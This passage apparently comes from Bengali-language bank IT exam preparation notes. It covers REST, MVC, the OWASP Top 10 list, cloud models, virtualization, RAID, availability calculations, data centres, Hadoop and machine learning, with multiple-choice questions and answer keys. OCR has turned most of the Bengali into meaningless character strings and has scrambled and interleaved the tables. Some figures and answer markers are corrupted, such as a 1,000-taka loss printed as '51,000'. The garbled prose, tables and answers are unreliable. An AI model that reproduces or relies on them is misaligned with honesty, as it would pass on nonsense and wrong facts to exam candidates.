Cacheable, Uniform interface, Layered system, Code on demand (&5&)|

JIGT Method + URI ST RCA

S SIS (7T GET /api/accounts 200 OK

OB PGS GET /api/accounts/1001 200 OK / 404
TG SIFIGH POST /api/accounts 201 Created
Soofef RIeTTSY PUT /api/accounts/1001 200/ 204

& Al DELETE /api/accounts/1001 204 No Content

REST I915 SOAP: SOAP 3t XML-fSSF 0O (&tBIFeT (WSDL, WS-Security) — S[taiear Ipefe: St
o6feTs; REST I&<s!, ST [SON | API fRgrerat: OAuth 2.0, JWT token, API key, rate limiting|

%0.50 MVC SifStoFoia

Model
query TBT + business logic + DB

Controller /

GET/POST &Iz 3 [18f5e

-
.

request

View
HTML/Geas — am=fT

rendered

5@ v0.32: MVC — Controller HTTP request (GET/POST) &3¢ &
Model — (TGI8 IRIRE A% (T Account, I31ersT 25111, DB S1tas); View — 38N I (ML B,

Controller — 3SGIART HTTP request (GET/POST) &3¢ 35td, Model-& F1a1 (T 8 $oIg@ View ([T (T

yf4T: separation of concerns, STNISATH (GLSAATIB, A1 2G| Framework: Laravel (PHP), Spring MVC
(Java), ASP.NET MVC, Django (MVT)!I
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// Laravel routes/web.php — GET @ POST ®iefml controller method-&a Y
Route::get('/accounts/{id}', [AccountController::class, 'show']);
Route::post('/transfer', [TransferController::class, 'store'l);

// Node.js + Express
app.get('/accounts/:id', (req, res) => res.json(findAccount(req.params.id)));
app.post('/transfer', (req, res) => { /* reqg.body */ res.status(201).send(); });

0.5 STIF ASIF, CDN 8 WigafHs

Web server: Apache HTTP Server (process/thread-%@?ﬁ, .htaccess), Nginx (event-driven, reverse
proxy 3 load balancer RG1a G=fem), Microsoft IIS (Windows/.NET), Apache Tomcat (Java Servlet
container)l

Static I9IW Dynamic (9IGi: static = SIS ALY 1B g9g 2SI dynamic = STSIE-3G &G (PHP, Java,
Node) sifeicy af$g tsfF|

CDN (Content Delivery Network): 3SSEI FIRF1fg edge S static FAC66 cache F0 latency FHI,
T ATSIRI (@16 FAT 8 DDoS et SRy FF (Cloudflare, Akamai)|

Load balancer: Round robin, Least connections; Reverse proxy; SSL/TLS certificate — Certificate
Authority (CA) BT FF5Ho|

Port: HTTP 80, HTTPS 443, FTP 20/21, SSH 22, Telnet 23, SMTP 25 (submission 587), DNS 53, POP3
110, IMAP 143

50.52 OWASP Top 10 (2025) — SIRTHLot

# IS aF ARH

A01 Broken Access Control BTG WA IG5/ ISR FILHIH FFCS 2A1d (IDOR)
A02 Cryptographic Failures (BT Q&5 1 F1, Y1 Sresiinsy (MD5)

A03 Injection SQL injection, command injection; XSS Q¥ Q3 TGS
A04 Insecure Design fSests Aareret f[Reae=r 71 w1t

AO5  Security Misconfiguration f&=Fe0 #ITeTS, (ATET debug TG

A06 Vulnerable & Outdated Components RIAT AR/ A3

A07 Identification & Authentication Failures T P8 TG NS, MFA (73, session @b

A08 Software & Data Integrity Failures JIGIRRT WIITTB, insecure deserialization

A09 Security Logging & Monitoring Failures IFEN F5l/SToo! 7T T

A10 Server-Side Request Forgery (SSRF) TSI Mo Wersate URL-9 request FIAT

SQL Injection 8 XSS-a3F RBifie afStaig Marerer wapicr (g1 SIKFAT: Parameterized query/Prepared statement, input
validation, output encoding, Content Security Policy!
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0.5 MCQ S

1

. CSS-a7 djcfamot F?
() Computer Style Sheets () Creative Style Sheets
(s7) Cascading Style Sheets (20) Colorful Style Sheets

wad: (5)  Officer IT MCQ 2026 (BIBM)

. HTML-a 53 & Fa17 Biist FHi56?
(F) <image> (¥) <img>
(s7) <pic> (9) <src>
Teq: (4) — <img src="..." alt="...">1| Officer IT MCQ 2026 (BIBM)
. HTTP-93 S5 (il F?

() 21 () 25
(s) 80 (%) 443

aq; (1) — HTTPS 4431 Officer IT MCQ 2026 (BIBM)

. HTTPS ¢« HTTP-49 (ot fRqtom?

(=) IP (¥) Encryption
(s) Cookies (99) Proxy

Tad: (W) — TLS a=f&*¥91  Officer IT MCQ 2026 (BIBM)

. MVC-cS GET/POST HTTP request (19 31 JITTA FCJ?

() Model (%) View
(st) Controller (21) Model 8 View G©g

Taq; (3)  Officer IT MCQ 2026 (BIBM)

. (TS ceftanfag srat Im?
() Python (¥) Java
(s1) HTML () C++

Tag: (1) — HTML @56 markup ©T=11 Officer IT MCQ 2026 (BIBM)

. “403" status code-ad SBIISIG phrase &FH{6?

() Not Found (¥) Unauthorized
(s7) Forbidden () Bad Request
Tag; (51)

. POST 4t 79A resource TFaTeitd ¢ofd 7t wiwf status code FH1G?

(=) 200 (¥) 201
(o1) 204 () 301

Taq; (¥) — 201 Created|
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9. (39 cookie attribute JavaScript-¢& cookie #IGte gl (MH?
(=¢) Secure (%) HttpOnly
(st) SameSite () Domain
@ (%) — XSS T cookie 5 @14 IR

10. &I HTTP method idempotent 93?

() GET (¥) PUT
(sY) DELETE (1) POST
Tag; (9)

11. CSS box model-a border-a7 5 31299 I FH6?
(F) Padding (¥) Content
() Margin (8) Outline-box

&@d: (sT) — Content — Padding — Border — Margin|

12. 156 CSS specificity (@Rfoa?
(=¢) Class selector (4) ID selector

(1) Inline style () Element selector
T@q: (1) — (! important W)
13. Mobile-first CSS-4 YIS (9 media feature 59T 3T?

(F) max-width (2) min-width

(sY) orientation (90) aspect-ratio

TG (¥) — (BB QTP IG [FH IS 7T

14. I fATANS BIGIE ARSI (ATH (OB WG @FHeT—

(=) Cal (4) AJAX
(1) FTP (<1) SOAP
Ta: (9)

15. 502 Bad Gateway JI4I99IS (HIAT WLt TW?

() Client-a3 g=7 URL () Proxy/gateway (1R TSIF (/TP NIY &GJ
AT
(5T) ATSTSTANE G (A (9) Cache-@ (ofen et

Taq: (W) — Nginx/load balancer-a3 (*l&tvg app TSI GRS AIFCEA|

Bank IT Jobs (BB / BSCS: AP, SO-IT, Officer-IT, AME) - Preparation Notes | Page 137 /185



ST 5> — FIOG, SIFAIRCGIA, (S GTB17, st (TB1 @
Al

Cloud Computing, Virtualization, Data Center, Big Data & Al

a3 WYY ergeita AME / Assistant Engineer (IT)- 43 &7 — BB AME 2023, BSCS AME 24.01.2026 8
08.05.2026 S5 #1F=61to3 RAID, VM, IaaS/PaaS/Saas, availability, Hadoop, (BBt 7617 @wsitg | Officer (IT)
3 Senior Officer (IT)-c8 VM 25717 8 cloud service model atstz|

3.5 FITT B2 — A2wl @ gy

NIST FTl: FIET FRSGL AT N OB F0Ge (T configurable computing resource-a3 (network,
server, storage, application, service) a3f6 shared pool-Q (FBSTIHI LI BIFFANCST (on-demand) SATI=r
A1 I, QIR THON TG ATEST To IIID1R 8 & I T

NIST-a3 ¢S a1 ¢af¥13y ref

On-demand self-service NI ST 2I6TR fN0e A6/ G IRt b 41
Broad network access FIG T I TSI (AT A=

Resource pooling Multi-tenant STGTeT 72 S12F QF3 VGG OIS FR
Rapid elasticity BIfRnl SR Fo IS/ (scale out/in)
Measured service =T (et i{eT (pay-as-you-go)

.2 Service Model: IaaS, PaaS, SaaS

On-Premises IaaS PaaS SaaS
Application Application Application _
Data Data Data _
Runtime Runtime Runtime _
Middleware Middleware Middleware _
Virtualization Virtualization Virtualization m
Servers Servers Servers _
Storage Storage Storage _
Networking Networking Networking _

5@ 5.5 Mg 3BT — Tem = aARF At AT T, T = FIOT (ATSIZCF

Model &S T 219 A= 1 A FeF CLETE

IaaS Virtual machine, storage, OS, runtime, AWS EC2, Azure VM, Google Compute
network middleware, app, data Engine

PaaS Runtime + OS + DB 3% ¥y application (FIG 3 Google App Engine, Heroku, Azure App
(GTTAATTD 2OHH (ot Service, AWS Elastic Beanstalk

Bank IT Jobs (BB / BSCS: AP, SO-IT, Officer-IT, AME) - Preparation Notes | Page 138 /185



SaaS =9 (ofF THEGSWIR, By 3T @ A&F @6/ Gmail, Microsoft 365, Salesforce, Zoom
TGN c1foR

faste e so 1T 2026 (25104)

A startup company wants to launch a new web application. They do not want to manage any underlying
hardware, operating systems, or even the runtime environment; they only want to focus on writing and
deploying their code. Which cloud service model (IaaS, Paas, or SaaS) is most appropriate for them?
Provide two real-world examples.

$wq: Paas (Platform as a Service)l

FIAY: PaaS-9a GBI, (FBSTI, virtualization, OS, runtime (CINF Java/Python/Node), middleware
— g (ANSIRTIF AIBITN T, (GOSN 8Y (&G 708 deploy T 1 IaaS z¢e1 OS 8 runtime
fAtema patch/update FACS ST — JM SBIGHIH BT 711 SaaS 30 o THEEWIF A2 F1 17, [
ST ST I AT

Turzad: (5) Google App Engine — SIISIF RBP4 RIGI3 QTHF 19t IFICAT @ deploy; FIf&T scaling
@ load balancing! (2) Heroku — Git push @t deploy; OS, runtime 8 infrastructure Fusf&FTeE
sfJ6IfeTo | =98: Azure App Service, AWS Elastic Beanstalk|

Deployment Model

Model caf*gy IS IIRNF

Public (ATOIZTIIT TIPS, S G S 30936, BN AE@UAN SAPCANG

Private 935 &S ey CBS, a3 (Gb! (g il

Hybrid Private + Public SIsg& SRV (GBI 9(F, peak (&T1G #RfA (cloud bursting)
Community Q%3 BIfznE TS ARSI e FOABI0 ARF/FAIBIF T7T e

faste o5  Bscs AME/AE 24.01.2026

An increasing number of organizations in industry and business sectors adopt cloud computing. List 5
key enabling technologies of cloud computing. (5)

1. Virtualization — @3f6 f&F1Ia STSTE 72 VM; resource pooling-a3 ffS (hypervisor)l
2. Broadband network 8 Internet — FosifSg, RS (6STIF TG TAIS! resource IRTT
N ICE|
3. Web services, SOA 8 API (REST/SOAP) — (IRISTANR NIHw interface e o/FH 8 @Fge 41
4, Multi-tenancy — A3 S/ TIFISITH IZ A5F NPT WML 2T I |
5. Data center automation 8 distributed/utility computing — FIf& provisioning,

orchestration, metering (pay-per-use)l

wfefae: Containerization (Docker, Kubernetes), distributed storage (HDFS, object storage),
autonomic computing|!
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5.9 Virtualization 8 Virtual Machine

Virtualization 3T @3f6 RFf&Fet 6 ST software layer (hypervisor/VMM) fatg aifas [iftkg
SIHI AR It F7|

Type 1 (Bare-metal) Type 2 (Hosted)

SR ESTIET 894 et A6 host 0S-a 89T T Bt et

o, fRem — (bt oI QAANTAS JF — (THG1/(BHBe-9

VMware ESXi, Microsoft Hyper-V, Citrix XenServer, KVM VirtualBox, VMware Workstation, Parallels

Virtual Machines Containers
App A App B App C
Bins/Libs Bins/Libs Bins/Libs App A App B App C
Guest OS Guest OS Guest OS Bins/Libs Bins/Libs Bins/Libs

Hypervisor (ESXi / Hyper-V / KVM) Container Engine (Docker)

Host OS (Linux kernel Stsireifa)

Host OS (Type 2-9) / 73 (Type 1-4)

Physical Server (CPU, RAM, Disk, NIC) Physical Server / VM

5@ v5.2: VM-@ #if5f6a fem Guest OS; Container-@ ST host kernel S1st 51

SRR Virtual Machine Container

Isolation soyef (STrermT OS kernel) — & Rrem Process-B(J (namespace, cgroup)
WIFIT QB 38T GB, NG boot MB, GTITS Bl

f$7 0S I (Linux host-a Windows VM) T, host kernel-a3 st sNg ol 3o 7T
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fasts &= BB AME 2023

Define a virtual machine with a neat diagram, explain the working of VM. What are the benefits of a VM?

@t Virtual Machine (e @30 REfGmer SEIGHIERT THESIA-SEF WgFat (emulation), I
e virtual CPU, RAM, disk, NIC 8 #¢f Guest OS STz Q32 T OF3 GBI Bl T3 VM (I STo9yef
Ifoe | (Traar: f5d 5.2-97 I e wiFA|)
FleIT Fio1 FI:
1. Physical server-a hypervisor (Type 1 AR IRESMIE, Type 2 host OS-aF @9I) BT |
2. Hypervisor f&f&sset CPU core, RAM, storage 8 network- Sist FF &ifSTe VM- virtual
hardware 13 I T (VCPU, VRAM, virtual disk 13s7 (5= .vmdk/.vhdx, vNIC 8 virtual
switch)|
3. Guest OS Jt I (T W IS By, privileged instruction 8 I/0 hypervisor & (trap)
A1t ST GBI ST | FfFF CPU-CS Intel VT-x / AMD-V hardware-assisted virtualization
Q PG o P
4. Hypervisor CPU scheduling 8 memory isolation Af*6s F=, Tt @F VM S35 GIH{F (rdcs =t
AT

it (5) Server consolidation — 39 IEEWIF, FF [APR 8 GIT4M; (2) Isolation — AF VM F#1/A& S
A WASTAT HII9W; (9) Snapshot 8 TS backup/restore; (8) Live migration (vMotion) — downtime
RITT OF (=I5 QATF T (R AANA], BI THALTH 77T, (¢) TS provisioning — GBIt NG
T ST, (V) 9F3 JGSTIE [{ST 0S BT 8 =it wtfeis=1= ey arer; () Disaster recovery
— VM 13 DR 3G replicate 1 191 @134t virtualization overhead, hypervisor single point of
failure, VM sprawl|

fsre ¥ Officer IT 2026 (25105)

A physical server has 32 CPU cores, 96 GB RAM, and 4 TB storage. Each virtual machine (VM) requires 4
CPU cores, 16 GB RAM, and 500 GB storage. Calculate the maximum number of VMs that can be hosted
on the server without overcommitting resources. Identify the limiting resource.

2IfSTB resource WAMSIE FoT6 VM 4TS ATE:

CPU:32+4=8VM

RAM: 96 + 16 =6 VM

Storage: 4 TB = 4000 GB (31 4096 GB) — 4000 + 500 = 8 VM (4096 + 500 = 8.19 — 8)

SIS VM = min(8, 6, 8) = 6fB1 Limiting resource (bottleneck) = RAMI

UfS VM BIefIted SR AF: CPU 32 - 24 = 8 core, Storage 4000 - 3000 = 1000 GBI (I/\I hypervisor
fAtens g RAM @, 913 production-a ¢fS H=remi)

5.8 ¢soitaer: RAID

RAID = Redundant Array of Independent (Inexpensive) Disks| N = f&% 1241, S = 267 sl

Level @ %: RIS Fe! T3 5% 78 o1y 7
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RAID 0 Striping 2 NxS o (a5 78 (13 57 (GHT

RIEN)
RAID 1 Mirroring 2 S (2 fSt=) — S (&S mirror coer)
©o%
RAID 5 Striping + distributed 3 (N=-1)xS D)
parity
RAID 6 Striping + double parity 4 (N-2)xS 2
RAID 10 Mirror-aQ¥ 8q stripe 4 (N/2)xS &S mirror carery St

(1+0)

faste e  Bscs AME 2026

A maintenance engineer is setting up a RAID 5 array with five hard drives, each having a capacity of 4 TB.
What is the total usable storage capacity, and why is it not 20 TB? (15 Marks)

Usable=(N-1)xS=(5-1)x4TB=16TB

G4 20 TB 7T=: RAID 5 fault tolerance-a3 o= &S stripe-a @6 parity block td (P = D1 @ D2 @
D3 @ D4, XOR)! Parity g%teT 511 fSus gy fReae w1 73 (distributed parity), 5g 517 fifecy e
fSTFa ST Twsht parity-cS 1 (16 raw = 5 x 4 = 20 TB; parity overhead = 4 TB; usable = 16 TB
(TFST 80%) 1 T R @I @it [ 78 2 1T (BBT 8 parity-3 XOR e AT (BBt 77557 1
[T (rebuild) | 75 &% QFAI T8 30T (THT AN — ©I3 IG S RAID 6 [R19i% (921 usable 3t 12
TB)I

Storage SHFTBFGIA: DAS (SIS TFF), NAS (FI36-(0o, Ethernet-a NFS/SMB), SAN (block-level,
Fibre Channel/iSCSI — CBS (GBI TA5) | Backup TS 3-2-1: oft 35f%1, 2 sacaa T, »f6 srws11361 RPO
(FOBI (GBI AT 7ZAT) 8 RTO (TS TS ATFFF FACO ) |

3%.¢ Availability, Reliability 8 Maintenance

Availability = Uptime / Total time = MTBF / (MTBF + MTTR)
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fasts &= BscS AME/AE 24.01.2026

A bank's ATM network experiences an average of 4 hours of downtime every 30 days due to server
maintenance and network glitches. Calculate the System Availability percentage for the month. If the
bank processes an average of 500 transactions per hour with an average fee of Taka 0.50 per
transaction, calculate the total revenue loss during this downtime. (10)

(1B ST = 30 x 24 = 720 96T, Uptime = 720 - 4 = 716 91

Availability = 716 / 720 x 100 = 99.44% (2113)

RRICAT @I = 4 x 500 = 200016

ey %o = 2000 x 0.50 = 51,000

NT: 99.44% availability “two nines”-93 IRIBIY; I1efRFR-Q FHRFIS > 99.9% (FITT ~43 NG
downtime) &% J14T *T — redundancy, clustering 8 planned maintenance -9 ST CF ©f
G HAT AW

99% (two nines) =~ 3.65 i
99.9% ~ 8.76 9B
99.99% = 52.6 95
99.999% (five nines) ~ 5.26 (%45

Series: Ry =Ry xRy x ... xR, | Parallel: R, =1~ (1-Rq)(1-Rp)...(1-Rp)
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faste o BScs AME 2026

reliability of the system? (15 Marks)

ISRk Preventive Maintenance

MRl Lo TS, M sryfvrs, rfor seREt
IS

Ay If7=5® (planned)

Downtime qehifss, =g

SE1 IS g Srprearsty

CSBI GBI &S © T UPS J3iG1fR #1351 @ Iwe, fafsa AC
CLEGL febrg #Afg®Ig, firmware S0oitw6, R SMART
LT

Distinguish between Preventive and Corrective maintenance with a real-world example for each in a data
center environment. A critical system consists of three components (Power Supply, Motherboard, and
Storage) connected in a series configuration. If each component has a reliability of 0.95, what is the total

Corrective Maintenance

Jyfor 91 oita, @6 MRy Hosw o1
IO

ot igo/AfSfEanTe<s (reactive)

werosifEre, o Aef
TIE (TN 8 IR Ffote &

RAID-93F @ft f&% 78 3¢ hot-swap
JCJ rebuild; gret TSI PSU IwetItT

Series reliability: R = 0.95 x 0.95 x 0.95 = 0.95% = 0.857375 = 85.74%

F2fte ATSTE TeH He% FSATTIST 7018 series-a (THIT OFB T8 7GR 9t 6N I, 1% (NB
RSrarsTSt S 91 SFTA: redundant (parallel) PSU — %f6 PSU parallel-Q 3t PSU SIRBIIR = 1 -
0.05% = 0.9975, ©¥ 365 R = 0.9975 x 0.95 x 0.95 = 0.900|

Predictive maintenance: ¢I=1/ (TG (SI#iat, SMART) Reerget g qpeforg o&fe e 5 SN T |

55.% (GBI GBI

Uptime Institute Tier

Tier Redundancy
I — Basic

IT — Redundant components N+1 component
III — Concurrently maintainable N+1, aIf&F path

IV — Fault tolerant 2N T 2(N+1)

N (1T redundancy (%)

Availability 3I2d downtime
99.671% =~ 28.8 TB1
99.741% = 22 g5t
99.982% = 1.6 TGI
99.995% = 26.3 5

PICHFI T AL (GBT 561 (DC) BITTI8 (STNfeFeig 1d Disaster Recovery Site (DRS) I 37 QIR (GO
replicate T TV | (TGB! THITIF GAMWIL: raised floor, precision AC (hot aisle/cold aisle), UPS 8 (GIt54,
FM-200/@1tss sii-fofas @ife fAdterer, access control @ CCTV, rack, structured cabling|

PUE (Power Usage Effectiveness) = (116 Siifsifaift fgpe + IT agoifsa e (wmwf = 1.0)

Bank IT Jobs (BB / BSCS: AP, SO-IT, Officer-IT, AME) - Preparation Notes | Page 144 /185



Surgge: PUE

af6 (BB (BT (B 1.8 MW Rije (7, 9 N4 TSIR-GBIRG- (6 8TIF (¥ 1.2 MWIPUE=1.8/1.2 =
1.51 AR IT-F AfS 1 W-aF T3 Feir, Wicer 8@ UPS &5 ey sfsfies 0.5 W STt DCIE = 1/PUE =
66.7%I

faste o BB AME 2023

What are the challenges in optimizing energy efficiency of data centers? Explain!

1. FHAL-GF TG YF6: OB RProg IT WL (TR wo-80%) FleTe-a TN; JILEIAIF NCST SIAN-|H
HIRRISTF free cooling-a ISt FH|

2. ARSIt FH utilization: S TG 50-30% (IS 5T, [5G idle WIFITSS 94 (TSI STFATIIST
=1+ fRye (7% (energy non-proportionality); virtualization/consolidation 7T FCet AT |

3. Hot spot @ airflow AL S7251f3S F7Rfe], hot/cold aisle =1 5141, 9ife 51F blanking panel Jt
AIBI 51N 3 SToT Jrors et T

4. Redundancy I wiFeld 55: Tier I[[I/IV-a3 S5 2N UPS @ Ffee AN, (Tt WILRF (10T 7 7%
5|

5. LA SIHISITAT @ UPS/PSU &151: legacy &SI, I 7% UPS 8 power distribution-a foisa
o |
6. Workload-a3 Affasalerst: peak-93 T) LIFTHNST AMATS 77, off-peak-Q WIIRTS ATF; dynamic
power management GifGet|
7. Sif3i9t @ SIIFeE Weld: SdF oI (PUE, I56-VEF power) T AFCE SHx= Aot 11 T 11
8. AT *IfF 8 4F6: oM/ =fe=x carsia s afis,; T i [t
sIgtad fis: virtualization 8 consolidation, hot/cold aisle containment, Stoisrar GT69tI-6 ASHRAE

T IS, in-row/liquid cooling, $8 we@ UPS 8 PSU (80 PLUS), DCIM Rt #i<ftasset, PUE o155}
Refrger

5.4 f3st cob1 8 Hadoop StIfSTsHw

Big Data-a 5V: Volume (R9e1 @1I1F), Velocity (FF® BeAWH — (TN [TIe-513% 91), Variety (structured,
semi-structured, unstructured), Veracity (Fgetol/RscarsieD), Value (IR T61) |

Component gt

HDFS Distributed file system — I FI3AE block-a (G5 128 MB) S5t FF I8 (IS
replication (f&e5 3) 1% 1235, NameNode (metadata) + DataNode

YARN Resource management 8 job scheduling (ResourceManager, NodeManager)
MapReduce Batch processing Steer — Map (key-value ¢sfX) — Shuffle/Sort — Reduce (QFaIF)
HBase HDFS-a3 89 column-oriented NoSQL DB; real-time random read/write

Hive SQL-a3 wret HiveQL it data warehouse query

Pig Pig Latin script it (G5! T8 (ETL)

Flume 51/REe (BT 8% 8 HDFS/HBase-9 ingest
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Sqoop

ZooKeeper
Oozie Hadoop job-a3 workflow scheduler
Mahout

Cassandra / Avro /
Chukwa

Kafka, Spark

(ofs=era 30R) processing 8 MLIib

fQsts & BSCS AME/AE 24.01.2026

Kafka = distributed streaming platform; Spark =

RDBMS (MySQL, Oracle) «<» Hadoop bulk import/export

Distributed NoSQL DB / data serialization / =15t 12813 8 WFGHR

Distributed coordination — configuration, leader election, synchronization

Scalable machine learning siI3tf¥ (recommendation, clustering, classification)

in-memory %S batch + stream

You have been hired as a Cloud Data Engineer to design a big data analytics pipeline for an e-commerce

company. The company needs to: ingest millions of real-time web server logs; store and manage
petabytes of raw and structured data; process data for batch and stream analytics; provide near real-
time product recommendations; run machine learning models at scale. From the following Hadoop
ecosystem components: MapReduce, HDFS, YARN, HBase, ZooKeeper, Pig, Hive, Mahout, Chukwa,

Cassandra, Avro, Oozie, Flume, Sqoop —
pipeline. Justify the role of each chosen component. (10)

e

MapReduce / Hive

\

J/

batch
Web server Flume HDFS
logs ingest PB storage
e \
Mahout
ML model

YARN (resource)

™
N

identify five components that you would use to design this

|

HBase
real-time recommendation

5@ 55.9: 3-15f st (TBT P33T (YARN ¥ 2tif32-a7 resource {5 =)
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NG Ted — 416 ¢f6 component

1. Flume (Ingestion): &% &% web server @5 RTI-51309 ASICASITeIE WaR @ HDFS/HBase-«@
#TST; source-channel-sink SFGFEIF, fault-tolerant @ horizontally scalable | (Rte== SR
DB (AT (GBI WIHCS Sqoop M5t FAT A1)

2. HDFS (Storage): petabyte-G&te1 raw 8 structured (G6I commodity TGS block 8 3x
replication % I — FH U6 ¥ @ fault-tolerant GBITAST; [T pipeline-a3 data lake!

3. YARN (Resource management): Q%3 FIBII batch (MapReduce/Hive), stream 8 ML job-&
CPU/GTTE Iam% @ schedule @ — multi-workload FH6IER Ty SoifR=r|

4. HBase (Real-time serving): low-latency random read/write; &S5 3Getag o=y 51 s
recommendation 8 SRS < T, STHINRE WA TS near real-time

recommendation (i¥iT|

5. Mahout (Machine learning at scale): collaborative filtering (item-based recommendation),
clustering, classification S=sifams distributed S1td BIfACT fR*N (GBI recommendation WG
[E]

RFg/afsi® & Batch analytics-a3 T MapReduce 3t SQL-f$fS3 Hive; workflow-a3 =y Oozie;
FIBIF coordination-9 ZooKeeper (HBase-9F T WIT*TF) | SIfiHIF 3R Srad FAT T WIYHH
stream processing-@ Kafka + Spark Streaming|

5.t AI 8 Machine Learning-a3 3y« g3

£ gigen IefFe Surge

Supervised Label-& (GBI (ATF @14t (classification, @ et e, fraud/not-fraud
regression)

Unsupervised Label 2ol eI ot (clustering, association) &1’ segmentation, SRSk @TNmT
RCINC

Reinforcement “IfRIC S I reward/penalty (/TP 14t (&SR &=, dynamic pricing
Neural Network: input layer — a3 31 9F1f&§ hidden layer — output layer; 2f$f6 83w weighted sum

+ bias fAtT activation function 215t 1 &A%t forward pass — loss — backpropagation —
gradient descent 4t weight SITSB |

Activation &/ sfdw= I
RelLU max(0, x) Hidden layer-a w6t &6fe® — %o, vanishing gradient &%
Sigmoid 1/(1+e7), (0,1) Binary classification-a3 output

Softmax TG I, (TISTHe 1 Multi-class output

Tanh -1, 1 P hidden layer, RNN

CNN — =3 ((6F/%3 T613, OCR); RNN/LSTM — 411113 (OoT; Transformer — self-attention
e, wgfa<s LLM (GPT, Claude, Gemini) @3 893 S w3 (ofJ1 Overfitting @14 &f# (oo,
regularization, dropout, cross-validationl
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fasts &= BscS AME/AE 24.01.2026

"Data is the new compute in today's Al era."” Critically analyze this statement in the context of modern Al
applications. Your answer should demonstrate clarity of thought, coherence, and relevance to the topic.

SO FISITH (8 WJTow):

1. gt At Al-AF WSS Y7o GPU/FEE #iferd 8917 o3 791 Q4T FPEE GAaaniel JTaGeTo)
(cloud GPU), 5@ SHNITH, AMBF (BbT Yefo — I3 (GHI3 AfSTIIfFe I e

2. 9IT% & (F) Scaling law — TSR ATTFINIH (GBI ATRIHIT 8 FITHF SR ICG; (4) 9F3
WFEFEI (Transformer) SIATE IIRARIT I, AALIT S1TT (TOT; (1) Fine-tuning @ RAG-Q AfSSIHT
RS (GO ((THF I (A 3fORN) T (i I, (T) SITAT (BBT AP (RIG N(GeT3 TN HFNSLH
SIA! T T — F2f1R (GO FNGBF [Py R e T3 |

3. STAICASA/AAR[GS!: (F) FNGE QU78 WA — I Froa ARFH [ GPU @ Rigge 1T, ()
(GBI 3 FTE T[T, AfSRIHF 7T, (51) (GBI WA, bias, (GHoRTe! (fFrs B JI551), TR0 3
(GOT TSR &; (]) IS B0 (ST PR Wy, synthetic data-7 Jifs1

4. BALRIT 8 FIHR carwioft: RIS JF 1 oy — Sy Al-(o (TBT (SIS 791, O F186
8 SIS S T2 o7 (ofF 27| IRAWEIR JRISTIR G data governance, data quality,
A9 (ST AIJISITHT @ [TFF FISCH (o3 Al R 2ATSTF 2 *S |

5.5 Blockchain 8 IoT — AR

Blockchain: Rog9$® (distributed), Sr#ifRIsacasy @ens; &S block | block-a7 hash 4179 FCF,
©13 Q6 block IR 9Itad 91K hash (80s 1 Consensus: Proof of Work, Proof of Stake, PBFT| &2

Public (Bitcoin, Ethereum), Private/Permissioned (Hyperledger Fabric — 371sf52-@ trade finance, KYC

rIfRe) 1 Smart contract — *S 27 31 FRIFASII 51l (G|

IoT (Internet of Things): G377 8 IFH BBIAEE T& FCJ (GO AT 3 {9 | 37 Perception (sensor) —
Network (Wi-Fi, ZigBee, LoRa, NB-1oT, 5G) — Processing (cloud/edge) — Applicationl CATBIeT: MQTT,
COAP | 71T/ (BBT GTHITR: SIPNIal-NITo! AIF@=we, ATM I Feramif, =06 a71fE fN5ifd1 Edge computing
— (BT ST RS AfFT B latency I

.50 MCQ S+

1. FIST F186L i 7IIAT FI?
() 8y IESTIF (2) 8Y TSI
(s1) On-demand resources (=) Offline services

&g (3)  Officer IT MCQ 2026 (BIBM)

2. Google App Engine &9 service model-a3 Swgaer?

() IaasS (¥) PaaS
(1) Saas (2) DaaS
Taq: (¥)
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3. AWS EC2 (9 43049 ¢1ar?
() Iaas () PaaS
(1) Saas (90) FaaS

Twad: () — virtual machine Srer 7|

4. Type 1 hypervisor-a3 Swizaet IH{6?

(=¢) VirtualBox (4) VMware Workstation
(s1) VMware ESXi (99) Parallels Desktop

Twaq: (51) — bare-metall

5. &6 2 TB fSt& RAID 6 Fate1 AT FHo! F9?
(F)127TB ()10 TB
(s1) 8 TB ()6 TB

@ (1) — (6 - 2) x 2 =8 TBI

6. (19 RAID-@ (FItAt fault tolerance 3%?

(=F) RAID O (¥) RAID 1
(57) RAID 5 (=) RAID 10

T8 (F) — B striping|l

7. MTBF = 990 961, MTTR = 10 961 3t availability ¥s?
() 99.9% () 99%
(57) 98% (9) 90%
T8 (¥) — 990 /(990 + 10) = 0.991

8. &ifSfo 0.9 RSatarssia 4t @e#t parallel-a AFTA G FSaTISITSI—
() 0.81 () 0.90
(s) 0.99 () 1.8

T (1) — 1 - (0.1)2=0.99]

9. PUE-93 SIIwf W1 F97?
)0 () 0.5
(51 1.0 (2) 2.0

Taq: (5) — 511 [Rye @y IT 7 61td PUE = 11
10. Hadoop-9 RDBMS (TS (GBI import FATS (FIHG IIFS TA?

() Flume () Sqoop
(sY) Pig (q) Oozie

Ted: (4) — SQL + Hadoop = Sqoop; 1t & Flumel

11. HDFS-a3 f&+6 replication factor ¥%?

()1 () 2
(M 3 (@) 4
Taq: (51)
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12. RS @B @ANFA hidden layer-a TS (&I activation function II%S 57?

(=) Softmax
(1) Step

&@d: (4)  Officer IT 2026 (25105)

13. WYRS LLM-a7 T [ASaa wifFossa @iie?

() Bayesian Network

(s) Transformer

@< (1)  Officer IT MCQ 2026 (BIBM)

14. Big Data-3 “Velocity” $t t?
(F) COBIT W[
(s1) (GBI Cftay

T (9)

15. Tier IV 6 -o1tad IRy F1{6?

() I redundancy (73
(s7) Fault tolerant, 2N

T83: (o) — availability =~ 99.995%|

(¥) RelLU
(%) Linear

(¥4) CNN

() Autoencoder

(€) (ToT Tedme 3 afFrsaes sifs
() GBIF RgeTor

(¥4) N+1 component
() 84 UPS Xt
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ST O — CADGHIA 8 JTAFR{AH

Electrical & Electronics for AME / AE (IT) and Officer (IT)

IFF Assistant Maintenance Engineer / Assistant Engineer (IT) #itq CSE- “T*1#i1f* EEE S13# (AT
faIfs® o5 SGT: transistor-a3 W=k @ JFET (BB AME 2023), fuse I91¥ circuit breaker @ fuse rating 2513
(AME/AE %ﬂﬂﬂﬁ% 2026)1 Officer (IT) 2026-9'3 fuse IFIT MCB 8 PN junction diode Q&s1tg, MCQ-¢S CCTV
cable, IFIF printer 8 cameral IFICFF (GBI 761, UPS, earthing, CCTV — THAETHY ATIHAT CAi=
TG, O SIZSIte8 QST foTess 41 771

2.5 ONif& = 5/@: Ohm, Power, Energy

V=IR | P=VI=I?R=V¥R | Energy (kWh)=Power (kW) x 5= (h) | 1 kWh = 1 unit = 3.6 M

IEER Series Parallel

T e R=Ry +Ry+.. 1/R = 1/Ry + 1/R, + ... (453 T RyR,/(R1+R))
Current NERIIS RG] =TT ©ist 27 (KCL)

Voltage o9 2T (KVL) A *TATT AN

OFG LA F A A AIFG IT YT BTt — 1% ISN/AHFEIF wiring parallel

